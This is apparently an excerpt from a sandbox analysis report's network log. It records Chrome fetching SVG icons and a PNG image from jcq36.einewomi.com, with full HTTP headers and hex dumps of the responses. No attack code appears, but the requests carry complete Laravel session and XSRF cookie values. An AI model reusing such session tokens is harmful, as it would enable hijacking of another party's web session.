2024-04-24 21:08:07 UTC	694	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 37 36 41 32 32 2e 32 2c 32 32 2e 32 2c 30 2c 30 2c 31 2c 36 2e 35 38 34 2c 32 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2d 2e 37 34 39 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2d 2e 32 36 31 2c 33 2e 33 2c 33 2e 33 2c 30 2c 30 2c 31 2c 31 2e 36 38 31 2e 34 37 2c 38 2e 36 34 38 2c 38 2e 36 34 Data Ascii: 76A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.64
2024-04-24 21:08:07 UTC	849	IN	Data Raw: 31 32 34 2d 2e 37 35 38 6c 2d 38 2e 33 30 39 2d 38 2e 33 30 39 61 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 2e 37 33 32 2d 2e 36 38 38 61 34 2e 36 37 38 2c 34 2e 36 37 38 2c 30 2c 30 2c 30 2c 2e 35 36 36 2d 2e 36 35 33 2c 31 2e 31 37 35 2c 31 2e 31 37 35 2c 30 2c 30 2c 30 2c 2e 32 32 36 2d 2e 36 38 38 2c 31 2e 33 33 39 2c 31 2e 33 33 39 2c 30 2c 30 2c 30 2d Data Ascii: 124-.758l-8.309-8.309a3.52,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357.732-.688a4.678,4.678,0,0,0,.566-.653,1.175,1.175,0,0,0,.226-.688,1.339,1.339,0,0,0-
2024-04-24 21:08:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49790	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:06 UTC	1120	OUT	GET /rsa4mS61xGUn0buMs3WF6CuvpI65UD2BYSQqVDOb9wWKBf92Edef200 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
2024-04-24 21:08:07 UTC	660	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:07 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="rsa4mS61xGUn0buMs3WF6CuvpI65UD2BYSQqVDOb9wWKBf92Edef200" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E9LAtIX%2BC0OHfwIyPUWGR3%2BEzgpbnrsv5msYSM1iohxal3w0CuYFQ5%2FE9Hmc7ILYabaV%2FGsMS4aTvaq0FNNlPv51T3i9czpRF16gwCGjIBqe5cRPkVfPTzoi1qQUzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879911175fae0fef-LAX
2024-04-24 21:08:07 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-04-24 21:08:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49793	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:06 UTC	1133	OUT	GET /opQ1VLLxlmCyN0H1bJZA12Sf5aAzBd7njDwdYX50uvvGCU6B7h61ClQhaEkS3imef240 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
2024-04-24 21:08:07 UTC	662	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:07 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="opQ1VLLxlmCyN0H1bJZA12Sf5aAzBd7njDwdYX50uvvGCU6B7h61ClQhaEkS3imef240" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4OvgcDrIAUuRbrYbWspP8k724K8bViuq9u7J6BfINjFPtTFFWrx0%2F3%2FY7YHuJTcfCnTNgJ2%2FR3bYl5Ihz4VydBN8ug1bBsPt0qbNftbHVBXcqDY8d82ibuHSRf90Tg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87991117fafe0d48-LAX
2024-04-24 21:08:07 UTC	707	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c 8c f0 b0 cb 38 7f 22 14 71 b1 fc 12 7c 76 0a 11 e2 af 5b 2f 00 f5 ea d5 43 f5 6a 55 59 5c a9 e5 39 d6 88 21 c0 10 60 08 f0 8f 00 1b 90 35 c4 74 c9 df 4b b9 c5 7f 2d a2 52 1a 34 68 88 05 0b e6 ab 85 69 f8 cd 5b 5c e7 4e 1d a9 9c 3c 79 2c 30 6a ca 6c 95 9f cb 47 bf 7a 89 db 37 ae e1 c6 95 0b 48 fc 98 90 a5 65 e6 e6 79 e0 e8 52 18 Data Ascii: /?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih8"q\|v[/CjUY\9!`5tK-R4hi[\N<y,0jlGz7HeyR
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 57 cf 1e 6a 63 c9 88 5e 14 a1 c1 8c d0 00 01 46 f4 1a 80 27 e2 a6 6a 0f aa 22 c6 24 47 d3 76 ec da c5 fd 36 7e 3c ad 43 72 bc ff b7 71 23 2f 18 7e 4c fa c4 05 b7 6b 87 e7 cf b3 4e f0 d2 ad ff 30 14 2f 51 4a 54 b0 bf 89 7e 85 5d 9b d6 e2 d5 cb e7 52 bb 7e 1a 30 00 43 06 0f 56 0b 53 46 f4 a2 0a 0f 66 8c 1a 08 30 a2 57 03 34 23 68 Data Ascii: &NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_FWjc^F'j"$Gv6~<Crq#/~LkN0/QJT~]R~0CVSFf0W4#h
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 74 ef d6 55 2d 8c f9 24 fa 62 79 f3 e2 44 8b 66 99 ac 0e da 7f 00 f7 3f c4 d3 cf 03 0a bb 60 65 dd 3a 72 75 e2 be 7e 85 ef 36 c9 e2 4a 52 c8 6c 7e 4d bd ba 99 e4 14 dd f0 9f f4 b3 21 e5 ca 62 84 77 05 9e 11 e6 4f 5c e8 cb 28 f4 3d 25 39 42 99 15 dd 23 c0 88 5e f7 98 8b ad 47 b5 06 54 b1 81 90 9d 3d b2 b9 e7 2b 57 a9 82 35 ab 57 Data Ascii: Q1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<jtU-$byDf?`e:ru~6JRl~M!bwO\(=%9B#^GT=+W5W
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 bd 88 9b 70 72 71 45 ab 8e dd e8 bb 50 cb 95 f3 a7 41 56 d4 7f 88 93 64 0d 24 85 2c b6 1b da cb 97 92 bc aa e5 ab 6d 67 58 d9 b8 6a 84 35 23 7a 55 51 67 f5 0d 01 01 46 f4 86 e0 25 61 eb a8 d1 c0 2a 6c d3 54 d7 ee ec f9 f3 5c ff be 7d 69 43 37 37 37 1c 3c 78 90 37 7c d6 ac 5b c7 cd 9e 39 93 ca 2e 5f b1 0a da 86 48 ce 42 27 e5 f2 Data Ascii: l[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334RprqEPAVd$,mgXj5#zUQgF%a*lT\}iC777<x7\|[9._HB'
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 58 d5 86 45 be ea 1a 61 cf 88 5e 25 c8 d5 aa ec 69 67 0b ef 82 05 e1 95 2f 1f 4a d8 d9 c1 c3 ce 16 2e 56 56 c8 65 92 b5 eb 52 39 0e af 92 92 f0 28 21 01 0f e3 13 70 f7 fd 7b 84 c7 c6 e1 71 fa 09 8e 6a 29 61 64 8d 18 d1 1b 99 c3 b5 60 ae 46 03 ab 16 f4 d1 b9 c8 a1 c3 86 71 c7 8e 1e a5 fd 8e 18 39 12 bd 7a f4 d0 0a 26 2d 5b b6 e4 Data Ascii: 8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJsXEa^%ig/J.VVeR9(!p{qj)ad`Fq9z&-[
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 2c 77 2e 95 64 a7 99 97 82 b9 7d 4b 5e b0 67 44 af 12 f4 74 cf fb 80 32 65 30 a0 6c 19 8d 57 d2 ab d6 b3 f2 b5 c9 b3 fb bf 23 ee 60 c5 dd 7b ca 37 12 59 4d 46 f4 22 73 a8 1e cc e1 65 80 d5 83 de 1a 75 f9 df a6 cd dc b4 a9 53 a8 8c 7a f5 02 f0 d7 5f 8b 74 82 43 fd c0 40 2e fa f5 6b da 6f df 61 a3 51 b8 88 3b e2 3f bc a7 b7 e9 9f Data Ascii: I=#zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?,w.d}K^gDt2e0lW#`{7YMF"seuSz_tC@.koaQ;?
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 63 6b 87 fe 3f 8f a1 09 72 64 0b 49 76 43 9e c3 df 8f b8 29 f7 39 59 57 d0 ad 5b 77 38 98 1e 43 ae 54 c3 7a 4e c9 99 58 22 d9 ae 0b ac ac f2 6b 05 77 46 f4 59 5f 5d 2e d6 56 f8 d3 af 26 aa 38 f0 7b e7 e7 65 f4 5b 5c bb fd 00 29 a9 69 d9 5e d6 c5 5c 9d e0 5b b6 24 34 38 4a 21 5b d9 c7 a3 5e e1 e7 f3 e7 91 90 fc 7d 07 88 be c6 17 Data Ascii: roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zbck?rdIvC)9YW[w8CTzNX"kwFY_].V&8{e[\)i^\[$48J![^}
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 5c a9 af 15 37 35 31 05 97 2b 3f be e5 76 c2 b7 dc ce f8 96 bb 08 ac ac ed 05 87 25 23 fa ef ae 0c f6 28 8e d9 d5 ab 29 f6 ad 1a 35 ce 85 45 e0 f5 1b d5 b7 73 b6 ac 5f 13 66 66 b9 d5 e8 51 b9 26 7d 4f 9d 41 e8 cb 97 ca 55 36 a0 5a 8c e8 0d c8 59 02 55 55 70 83 35 5f 38 6d dd be 9d 9b 34 61 02 15 e7 e7 57 0b cb 97 2f 13 ad ad 9a 62 f6 29 29 96 Data Ascii: 3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{\751+?v%#()5Es_ffQ&}OAU6ZYUUp5_8m4aW/b))
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e b4 e9 dc 03 ee c5 b3 5f 51 7c ed e2 59 ec dd b6 51 8a 7e a7 ce 21 f8 75 fc 38 83 b0 55 f8 21 23 5c 0d 19 d1 cb fb 46 9d 13 ec 94 d9 1b af ad 08 28 e3 e9 0e f2 52 a7 90 8c 78 24 33 9e 18 0b 23 7a 31 7a 55 b7 36 09 9e fc 36 6d d9 c2 4d 9d 3c 99 a2 62 6a 6a 8a 3e 43 46 c2 d9 d5 4d 21 4a 61 97 ce 61 cf d6 0d d2 7a 5b b6 6e 43 d9 32 5e 82 b7 57 a1 61 ac 42 b6 08 30 a2 97 87 c6 3d af 0d 36 05 d6 87 b3 95 f2 e9 67 95 c9 76 a7 ad 10 54 37 b9 4e 64 7c 02 3a 1e 3d 86 77 59 3c be d3 96 ae ba 94 cb Data Ascii: \|FNF^<Tx~e\*MuwSVC s.<\._~_Q\|YQ~!u8U!#\F(Rx$3#z1zU66mM<bjj>CFM!Jaaz[nC2^WaB0=6gvT7Nd\|:=wY<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49794	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:06 UTC	1141	OUT	GET /ghdwLwhtUo6JsNMGaykPpPmURTIsJDWlY9ZJvklNhTvmC6ukVYDmzvSTvxthORbvG7OuyBvef210 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
